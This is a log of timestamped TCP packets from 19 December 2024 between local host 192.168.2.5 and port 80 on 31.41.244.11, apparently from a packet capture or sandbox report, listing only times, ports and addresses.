Dec 19, 2024 03:09:23.274517059 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.276164055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.276251078 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.276273966 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.276355982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.278146029 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.278181076 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.278264046 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.279905081 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.279994965 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.280067921 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.280126095 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.281816959 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.281883955 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.281918049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.281970978 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.283646107 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.283730030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.283756971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.283821106 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.285515070 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.285593033 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.285624027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.285825968 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.287383080 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.287434101 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.287533998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.287621975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.377502918 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.377541065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.377635956 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.378145933 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.378180981 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.378211021 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.378245115 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.379374027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.379544020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.379596949 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.380855083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.381026030 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.381091118 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.382201910 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.382271051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.382281065 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.382349968 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.383601904 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.383671045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.383810043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.383866072 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.384968996 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.385020971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.385047913 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.385072947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.386310101 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.386374950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.386421919 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.386475086 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.387768984 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.387804031 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.387829065 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.387860060 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.388977051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.389046907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.389065027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.389117956 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.390377998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.390495062 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.390554905 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.391654015 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.391726971 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.391797066 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.391875982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.392935991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.392987013 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.393033981 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.393146992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.394293070 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.394328117 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.394351959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.394385099 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.395471096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.395564079 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.395625114 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.396703959 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.396765947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.396852970 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.396907091 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.397926092 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.398066998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.398129940 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.399180889 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.399244070 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.399346113 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.399403095 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.400460958 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.400559902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.400571108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.400608063 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.401691914 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.401757002 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.401810884 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.402863026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.402925968 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.402968884 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.403033972 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.404162884 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.404180050 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.404221058 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.404249907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.405333996 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.405386925 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.405421019 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.405473948 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.406478882 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.406528950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.406640053 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.407710075 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.407798052 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.407805920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.407850981 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.408876896 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.408963919 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.408996105 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.409009933 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.410037041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.410113096 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.410222054 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.410274029 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.411197901 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.411253929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.411328077 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.411395073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.412385941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.412450075 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.412453890 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.412497997 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.413584948 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.413652897 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.413820028 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.413867950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.414781094 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.414854050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.414880037 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.414927959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.415946007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.415993929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.415998936 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.416038036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.417041063 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.417093992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.417175055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.417218924 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.418266058 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.418340921 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.418348074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.418381929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.419398069 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.419452906 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.419490099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.419580936 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.420593977 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.420644045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.420691967 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.420734882 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.421806097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.421936989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.421982050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.422960043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.423012018 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.423089981 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.423219919 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.424103022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.424243927 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.424253941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.424302101 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.425266981 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.425529957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.425601959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.426450014 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.426578045 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.426637888 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.427659988 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.427728891 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.427767038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.427812099 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.428838968 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.428946018 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.428975105 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.429023027 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.429943085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.430011988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.430093050 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.430155993 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.431164980 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.431263924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.431322098 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.432305098 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.432357073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.432420969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.432471037 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.433547020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.433619976 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.433629036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.433670044 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.434688091 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.434794903 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.434842110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.435838938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.435921907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.435964108 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.436024904 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.437074900 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.437108994 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.437139988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.437164068 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.438142061 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.438290119 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.438359976 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.439374924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.439471006 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.439480066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.439521074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.440490007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.440546036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.440622091 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.440671921 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.441785097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.441850901 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.569591999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.569613934 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.569629908 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.569689035 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.569783926 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.569890022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.569963932 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.570658922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.570687056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.570741892 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.571690083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.571706057 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.571752071 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.572669983 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.572685957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.572719097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.572743893 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.573599100 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.573652983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.574610949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.574626923 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.574662924 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.574707985 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.575356007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.575417995 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.575767040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.575807095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.575881004 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.576747894 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.576762915 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.576822996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.577758074 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.577773094 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.577826023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.578759909 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.578775883 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.578818083 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.578841925 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.579776049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.579794884 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.579829931 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.579857111 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.580800056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.580816031 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.580857992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.580883980 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.581811905 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.581825972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.581876040 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.582808018 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.582823992 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.582890034 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.582890034 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.583848000 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.583863974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.583926916 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.584835052 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.584851980 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.584886074 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.584912062 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.585864067 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.585880041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.585915089 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.585939884 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.586854935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.586873055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.586916924 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.588006973 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.588021994 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.588073015 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.588898897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.588915110 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.588958979 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.588988066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.589907885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.589924097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.589962006 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.589987040 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.591008902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.591023922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.591064930 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.591090918 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.591932058 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.591948032 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.591988087 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.592012882 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.592946053 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.592962980 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.593013048 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.593821049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.593882084 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.593921900 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.593976021 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.594824076 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.594877958 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.594928026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.594976902 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.595849037 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.595928907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.595982075 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.596883059 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.596951008 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.596993923 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.597044945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.597871065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.597939968 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.597975969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.598038912 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.598942041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.599000931 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.599062920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.599119902 CET	49862	80	192.168.2.5	31.41.244.11
